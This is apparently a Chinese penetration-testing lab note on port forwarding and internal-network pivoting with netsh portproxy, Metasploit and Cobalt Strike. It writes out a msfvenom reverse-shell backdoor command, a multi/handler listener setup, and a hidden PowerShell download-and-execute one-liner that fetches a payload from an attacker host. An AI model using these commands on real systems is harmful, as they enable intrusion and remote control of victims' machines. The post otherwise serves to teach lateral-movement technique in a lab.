隧道应用

端口映射

是指将一台主机的内网(LAN)IP 地址映射成一个公网(WAN)IP 地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;

利用端口映射功能还可以将一台外网地址机器的多个端口映射到内网不同机器上的不同端口。

端口映射与端口转发

端口映射与端口转发,用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。

端口映射与端口转发实现的功能类似,但又不完全一样。

  • 端口映射是将外网的一个端口完全映射给内网一个地址的指定端口
  • 端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口

端口映射可以实现外网到内网和内网到外网双向的通信,而映射转发只能实现外网到内网的单向通信

netsh 端口映射

netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能。以下是一个常见的场景

image-20241001162831592

在b的服务器上存在 7777 端口是 WEB 服务,现在想要 kali 能访问b服务器的7777 端口上的内容 因为不在同一个网段 kali不能直接访问B 而且B服务器不能直接出网。

这里用vm+python简单搭个环境,没有用两个虚拟机,用了双网卡

win:
eth0:192.168.174.135
eth1:10.10.10.153

image-20241001184233346

image-20241001184335279

再用python指定另一个网卡的端口启动一个服务器

import socket

def start_tcp_server(ip, port):
# 创建一个 TCP/IP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定到特定的网卡 IP 和端口
server_socket.bind((ip, port))

# 开始监听请求
server_socket.listen(5)
print(f"Server listening on {ip}:{port}")

while True:
# 接受客户端的连接
client_socket, addr = server_socket.accept()
print(f"Connection from: {addr}")

# 接收并回复数据
data = client_socket.recv(1024)
if data:
print(f"Received: {data.decode()}")
client_socket.sendall(data)

# 关闭客户端连接
client_socket.close()

if __name__ == "__main__":
start_tcp_server("10.10.10.153", 8888) # 指定网卡 IP 和端口

image-20241001190719406

windows 自带的端口转netsh interface portproxy可以通过这个小工具在 A 服务器设置端口转发。

https://blog.csdn.net/weixin_44259233/article/details/140084238#:~:text=%E5%85%B6%E5%AE%9E%EF%BC%8C%E9%99%A4%E6%AD%A4%E4%B9%8B%E5%A4%96%E8%BF%98%E6%9C%89%E4%B8%80

查看本机所有代理端口
netsh interface portproxy show all

1.设置转发

netsh interface portproxBy add v4tov4 listenaddress =代理服务器ip地址 listenport=设置的端口 connectaddress=B服务器(ip) connectport=端口
netsh interface portproxy add v4tov4 listenaddress=192.168.174.135 listenport=7777 connectaddress=10.10.10.153 connectport=8888

image-20241001190759988

这时候访问192.168.174.135:7777同样能访问8888端口服务

image-20241001191756040

3.其它

netsh interface portproxy delete v4tov4 listenport=7777 //清除指定规则
netsh interface portproxy reset //清除所有

netsh端口映射meterpreter

image-20241001192043781

在服务器A上可以通过设置代理访问B服务器.如果拿到b服务器的权限 通常是生成正向的后门,然后kali的msf可以正向连接B服务器,由此得到metperter,进而进行其他操作。如果服务器B上有防火墙拦截,kali的 msf 不能正向连接上后门,为解决这问题,可以通过生成一个反向后门连接到服务器A上,在服务器A上再通过端口映射或者转发到 kali的 msf上。

1.msf生成反向后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.153 lport=4455 -f exe>r.exe

image-20241001194932767

2.然后移动到双网卡的win里,执行命令

netsh interface portproxy add v4tov4 listenaddress=10.10.10.153 listenport=4455 connectaddress=192.168.174.137 connectport=4455

这样在执行r.exe时,就会通过外网网卡反弹shell了

3.启动msf

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.174.137
set lport 4455
exploit

然后在win里运行r.exe,可以看到返回来的shell

image-20241001200519982

cs多层内网上线

cobalt strike 简称 cs,它作为 APT 攻击神器,APT长期是以攻击企业内网为主所以考虑到内网穿透。内网穿透方式,分为正向和反向,正向是可以直连内网主机,反向是让受害者反向连接。正向连接可以直接连接目标得到权限。下面是一个正向连接图。存在两个段 teamserver,不允许访问B,现在服务器上A有权限。可以通过cs的正向连接连接B

https://www.cnblogs.com/smileleooo/p/18275805#:~:text=%E5%87%BA%E7%BD%91or%E4%B8%8D%E5%87%BA%E7%BD%91%EF%BC%9F%20%E7%9B%AE

cs正向链接多层内网

image-20241001200721183

首先A服务上已经有了cs的后门。通过后门查看网络信息发现存在10.10.10.0/24因为网段 A是可以访问B 的 所以在 teammserver 通过A作为作为跳板可以访问B.

1.上线主机

image-20241002143859668

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.160:80/a'))"

2.在win上执行该语句

回到攻击机里查看cs,发现主机上线

image-20241002144143064

但这里有点不一样,我的内网地址没读取到

3.生成监听器

选择beacon-tcp

image-20241002144822820

4.生成win server的后门

image-20241002144956983

在靶机上执行

4.连接内网环境

connect 10.10.10.153:4444

image-20241002145408659

能连确实能连,但因为环境问题,所以没有什么效果,还是要再来一台机子模拟内网环境

image-20241002151847848

不懂为什么还是一样的效果,应该是环境没配好

cs反向链接多层内网

上面介绍到正向连接到多层内网,如果在B服务器上有防火墙进行拦截,那么正向连接就会连接失败。为了解决这一问题可以采用 cobalt strike 的反向连接。反向连接可以突破防火墙的拦截,因为是从服务器内部反向连接出站。以下是一个存在防火墙的反向连接teammserver 的图

image-20241002153706238

Teamserver通过A连接B是不允许的。因为有防火墙拦截,正向连接失败。怎么解决?可以用反向连接突破。

1.设置中转,在原有会话的基础上

image-20241002191950594

2.生成后门

image-20241002192023647

3.复制到目标主机上

到这里失败了,还是得解决最开始那个环境得问题,要想办法让cs识别到双网卡